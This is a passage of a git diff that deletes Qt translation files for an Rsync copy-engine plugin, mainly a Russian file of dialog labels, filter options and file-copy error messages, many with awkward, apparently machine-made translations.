- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/ru/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/ru/translation.ts
deleted file mode 100644
index cbafed3..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/ru/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="ru" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Не поддерживается на этой платформе</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Дата обновления неправильно</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Дата последнего доступа не так</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation>Опции ошибке</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Параметры двигателя не загружается, не может получить доступ к фильтрам</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Поиск по сайту:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Тип поиска:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>Сырой текст</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>упрощенный regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Нанесите на:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>файл</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>папка</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Файлов и папок</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Все строки нужно соответствовать</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>контроль</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Испытание строки:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Фильтры диалогового</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>Регулярное действует</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>Матч тестовую строку с регулярным выражением</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Фильтры</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Исключение фильтра</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>Включение фильтра</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Ни = Включить все</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>Сырой текст</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Упрощенная регулярных выражений</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Только на файл</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Только на папку</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Полный матч</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Невозможно сделать, чтобы скопировать или переместить элемент в неправильном форсированном режиме: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Невозможно сохранить трансфер: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Проблема при чтении или размер файла нулевой</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Неправильный заголовок: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>Трансфер в смешанном режиме, но этот экземпляр не в этом режиме</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>Передача списка в режиме копирования, но этот экземпляр не в этом режиме</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>Трансфер в режим перемещения, но этот экземпляр не в этом режиме</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Некоторые ошибки были обнаружены в ходе разбора линия</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Не удается открыть трансфер: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Невозможно создать папку</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Невозможно прочитать исходный файл: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Файл усечены во время чтения, возможность изменения данных</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>Первое переименование</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - копия</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Переменные: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; по оригинальному названию файла&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>Второе переименование</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - копия (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Переменные: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; по оригинальному названию файла&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; за дополнительный номер&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Переименование правила</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation>Не удается удалить папку</translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation>Контрольные суммы не совпадают</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Невозможно прочитать исходный файл: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Файл усечены во время чтения, возможность изменения данных</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Двигатель вынуждены покинуть свои дома, вы не можете скопировать с ним</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Двигатель вынужден копии, вы не можете двигаться вместе с ним</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>Режим был вынужден ранее, это внутренняя ошибка, пожалуйста, сообщите об этом</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation>Опции ошибке</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Параметры двигателя не загружается, не может получить доступ к фильтрам</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Ошибка в файле</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>ошибка</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>размер</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>имя файла</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Положить в нижней</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Повторить</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Ошибка в папку</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>имя папки</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Файл существует</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>источник</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>назначение</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>размер</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>имя файла</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Предложить новое имя</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>переписывать</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Заменить, если новее</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Заменить, если не ту же дату модификации</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Эти файлы имеют тот же файл</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>Источник и назначение такое же,</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>размер</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>имя файла</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Предложить новое имя</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Это папки той же папке,</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>источник</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>назначение</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>Источник и назначение такое же,</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>имя папки</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Предложить новое имя</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>слияние</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Папка уже существует</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Передача файлов прав</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Держите дату файла</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>размер блока</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Авто начать передачу</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Когда папка ошибка</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>просить</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>слияние</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Убедитесь, что папка существует</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Когда папка столкновения</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
